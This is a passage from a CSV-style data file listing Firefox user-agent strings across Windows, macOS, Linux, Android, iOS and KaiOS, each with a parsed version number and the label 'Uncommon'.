Firefox/21.0,21,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6) Gecko/20100101 Firefox/5.0.1,5,Uncommon\nMozilla/5.0 (Android 7.1.2; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Windows NT 6.0; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/3.0 Mobile/13E238 Safari/601.1.46\",3,Uncommon\nMozilla/5.0 (Windows NT 5.2; rv:44.0) Gecko/20100101 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Android 5.0; Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Android 5.0.2; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2,3.6,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0,17,Uncommon\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0,12,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/4.0 Mobile/13F69 Safari/601.1.46\",4,Uncommon\nMozilla/5.0 (Android; Tablet; rv:19.0) Gecko/19.0 Firefox/19.0,19,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0; ips-agent) Gecko/20100101 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian),5,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US) Gecko/20101012 Firefox/3.6.11,3.6,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0,37,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:51.0) Gecko/20100101 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:53.0) Gecko/53.0 Firefox/53.0,53,Uncommon\nMozilla/5.0 (Android 8.0.0; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/4.0.1,4,Uncommon\nMozilla/5.0 (Android 4.4.4; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0,48,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0,36,Uncommon\nMozilla/5.0 (Android; Mobile; rv:17.0) Gecko/17.0 Firefox/17.0,17,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0,39,Uncommon\nMozilla/5.0 (Android 6.0.1; Mobile; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Cyberfox/47.0.2,47,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0,60,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20100101 Firefox/53.0,53,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20120813 Firefox/16.0,16,Uncommon\nMozilla/5.0 (Android 5.0.2; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) FxiOS/6.0 Mobile/14D27 Safari/602.4.6\",6,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:35.0) Gecko/20100101 Firefox/35.0,35,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:50.0) Gecko/50.0 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:52.0) Gecko/52.0 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/99.0,99,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0,6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0,gzip(gfe),gzip(gfe)\",28,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5,5,Uncommon\nMozilla/5.0 (Android 8.0.0; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0,30,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1,5,Uncommon\nMozilla/5.0 (Mobile; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0,37,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0,6,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:31.0) Gecko/20100101 Firefox/31.0,31,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0,13,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0 Cyberfox/40.0.3,40,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20140105 Firefox/99.0 Foirefox/74.0,99,Uncommon\nMozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/9.0.1,9,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Mobile; rv:18.0) Gecko/18.0 Firefox/18.0,18,Uncommon\nMozilla/5.0 (Windows NT 6.1 WOW64 rv:47.0) Gecko/20100101 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0,48,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8,3.6,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:56.0) Gecko/56.0 Firefox/56.0,56,Uncommon\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Uncommon\n\"\"\"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0\"\"\",41,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6,2.0,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0,25,Uncommon\nMozilla/5.0 (Windows NT 5.2; rv:52.0) Gecko/20100101 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nMozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/7.0.1,7,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/0.0.5; +http://flipboard.com/browserproxy),3.6,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:11.0) Gecko/20100101 Firefox/11.0,11,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/10.0.2,10,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko/20100101 Firefox/37.0,37,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/43.00,43,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0,28,Uncommon\nMozilla/5.0 (Android; Mobile; rv:18.0) Gecko/18.0 Firefox/18.0,18,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0,37,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2,3,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0,13,Uncommon\nMozilla/5.0 (X11; FreeBSD x86_64; rv:21.0) Gecko/21.0 Firefox/21.0,21,Uncommon\nfirefox/55.0.3 (Windows NT 6.2; WOW64) AppleWebKit/537.36,55,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0,26,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0,19,Uncommon\nMozilla/5.0 (Mobile; LYF/F120B/LYF-F120B-000-01-16-010218;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.4 Mobile/13D15 Safari/601.1.46\",1.4,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/43.04,43,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Cyberfox/47.0.2,47,Uncommon\nMozilla/5.0 (Android 7.0; Tablet; rv:56.0) Gecko/56.0 Firefox/56.0,56,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/48.0,48,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Mobile; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Windows NT 5.2; rv:43.0) Gecko/20100101 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3,27.3,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) FxiOS/6.1 Mobile/14D27 Safari/602.4.6\",6.1,Uncommon\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13,3.6,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nMozilla/5.0 (Mobile; $LYF/$F30C/$LYF_F30C-000-09-05-131117; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0 BLNGBAR,28,Uncommon\nMozilla/5.0 (Android; Tablet; rv:39.0) Gecko/39.0 Firefox/39.0,39,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Android 7.0; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Android; Mobile; rv:14.0) Gecko/14.0 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6,3.6,Uncommon\nMozilla/5.0 (Android 7.1.1; Mobile; rv:56.0) Gecko/56.0 Firefox/56.0,56,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0,5,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.04 (lucid) Firefox/3.6.11,3.6,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20110913 Firefox/5.0,5,Uncommon\nMozilla/5.0 (Android 4.4.4; Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0,28,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:12.0) Gecko/20100101 Firefox/23.0,23,Uncommon\nMozilla/5.0 (Mobile; OPENC2; rv:34.0) Gecko/34.0 Firefox/34.0,34,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:54.0) Gecko/54.0 Firefox/54.0,54,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (X11; OpenBSD amd64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:30.0) Gecko/20100101 Firefox/30.0,30,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13,3.6,Uncommon\nMozilla/5.0 (Windows; U; WindowsNT 5.1; en-US; rv1.8.1.6) Gecko/20070725 Firefox/2.0.0.6,2.0,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:39.0) Gecko/20100101 Firefox/39.0,39,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0) Gecko/20100101 Firefox/7.0,7,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1,15,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/47.0.1,47,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Android 5.0.1; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:55.0) Gecko/20100101 Firefox/55.0,55,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729),3.5,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:50.0) Gecko/50.0 Firefox/50.0,50,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.5) Gecko/200900101 Firefox/3.0.5,3,Uncommon\nMozilla/5.0 (Mobile; LYF/F50Y/LYF_F50Y_000-01-40-181217;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:33.0) Gecko/20100101 Firefox/33.0 Cyberfox/33.1.1,33,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0,29,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) FxiOS/10.4b8288 Mobile/15C202 Safari/604.4.7\",10,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0,14,Uncommon\nfirefox/55.0.3 (Windows NT 5.1; WOW64) AppleWebKit/534.30,55,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1,10,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:44.0) Gecko/20100101 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:52.0) Gecko/52.0 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2,6,Uncommon\nMozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15,3,Uncommon\nMozilla/5.0 (Mobile; LYF/F90M/LYF-F90M-000-02-21-131117; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7,3.5,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:10.0.12) Gecko/20100101 Firefox/10.0.12,10,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0,37,Uncommon\nMozilla/5.0 (Android 4.3; Mobile; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\nMozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.5 Maemo Browser 1.7.4.8 RX-51 N900,3.5,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14,4,Uncommon\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:16.0; BrowserMob RBU) Gecko/20100101 Firefox/16.0,16,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko/20100101 Firefox/12.0,12,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.2 Mobile/13C75 Safari/601.1.46\",1.2,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Android 7.0; Tablet; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0,13,Uncommon\nMozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0,5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) FxiOS/10.4b8288 Mobile/15C153 Safari/604.4.7\",10,Uncommon\nMozilla/5.0 (Windows NT 6.0; rv:30.0) Gecko/20100101 Firefox/30.0,30,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.2 Mobile/13B143 Safari/601.1.46\",1.2,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0,34,Uncommon\nMozilla/5.0 (Android 6.0; Tablet; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:36.0) Gecko/20100101 Firefox/36.0,36,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0.1) Gecko/20151126 Firefox/52.0.1,52,Uncommon\nMozilla/5.0 (Android 4.4.4; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0,60,Uncommon\nMozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/5.0,5,Uncommon\nMozilla/5.0 (Mobile; OPENC; rv:28.0) Gecko/28.0 Firefox/28.0,28,Uncommon\nMozilla/5.0 (Android 5.0; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:59.0) Gecko/20100101 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Android 4.1.2; Tablet; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:17.0) Gecko/17.0 Firefox/17.0,17,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:23.0) Gecko/20100101 Firefox/23.0 (.NET CLR 3.5.30729),23,Uncommon\nMozilla/5.0 (Android 5.0.2; Mobile; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Android 7.1.1; Mobile; rv:59.0) Gecko/59.0 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Android 4.4.4; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) FxiOS/5.3 Mobile/14A456 Safari/602.1.50\",5.3,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1,4,Uncommon\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:57.0) Gecko/20100101 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Android 5.0; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3,3,Uncommon\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8,3.8,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:52.0.1) Gecko/20100101 Firefox/52.0.1,52,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) FxiOS/10.6b8836 Mobile/15D60 Safari/604.5.6\",10,Uncommon\nMozilla/5.0 (Windows NT 5.0; rv:10.0.12) Gecko/20100101 Firefox/10.0.12,10,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0,24,Uncommon\nMozilla/5ows NT 6.0) Geck.0) Geck01 Firek01 Firef01 Firefox/47.0fox/47.0,47,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:53.0) Gecko/53.0 Firefox/53.0,53,Uncommon\nMozilla/5.0 (X11; RemixOS; CrOS x86_64; rv:50.0) Gecko/50 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Mobile; LYF/F81E/LYF_F81E_000_01_12_201117; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0,gzip(gfe)\",57,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0,34,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/17.0 Firefox/17.0,17,Uncommon\nMozilla/5.0 (Android 5.0; Tablet; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Android 4.4.2; Mobile; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Android 7.1.2; Mobile; rv:59.0) Gecko/59.0 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1,10,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Android; Tablet; rv:18.0) Gecko/18.0 Firefox/18.0,18,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/4.0,4,Uncommon\nMozilla/5.0 (Android 7.1.1; Mobile; rv:55.0) Gecko/55.0 Firefox/55.0,55,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Mobile; LYF/F50Y/LYF-F50Y-000-01-31-131017; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Android 5.0; Mobile; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13,3.6,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre,4,Uncommon\nMozilla/5.0 (Android 5.1; Tablet; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1,4,Uncommon\nMozilla/5.0 (Mobile; LYF/F30C/LYF_F30C-000-09-10-140318; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; el; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3,3.6,Uncommon\nMozilla/5.0 (Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Windows NT 10; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20130401 Firefox/31.0,31,Uncommon\nMozilla/5.0 (Android 4.2.2; Tablet; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0,8,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:55.0) Gecko/55.0 Firefox/55.0,55,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:49.0.2) Gecko/20100101 Firefox/49.0.2,49,Uncommon\nMozilla/5.0 (Windows NT 6.1; U; rv:6.0) Gecko/20100101 Firefox/6.0,6,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:23.0) Gecko/20100101 Firefox/23.0,23,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:56.0) Gecko/56.0 Firefox/56.0,56,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11,3.6,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/15.0 Firefox/15.0a1,15,Uncommon\n\"Mozilla/5.0 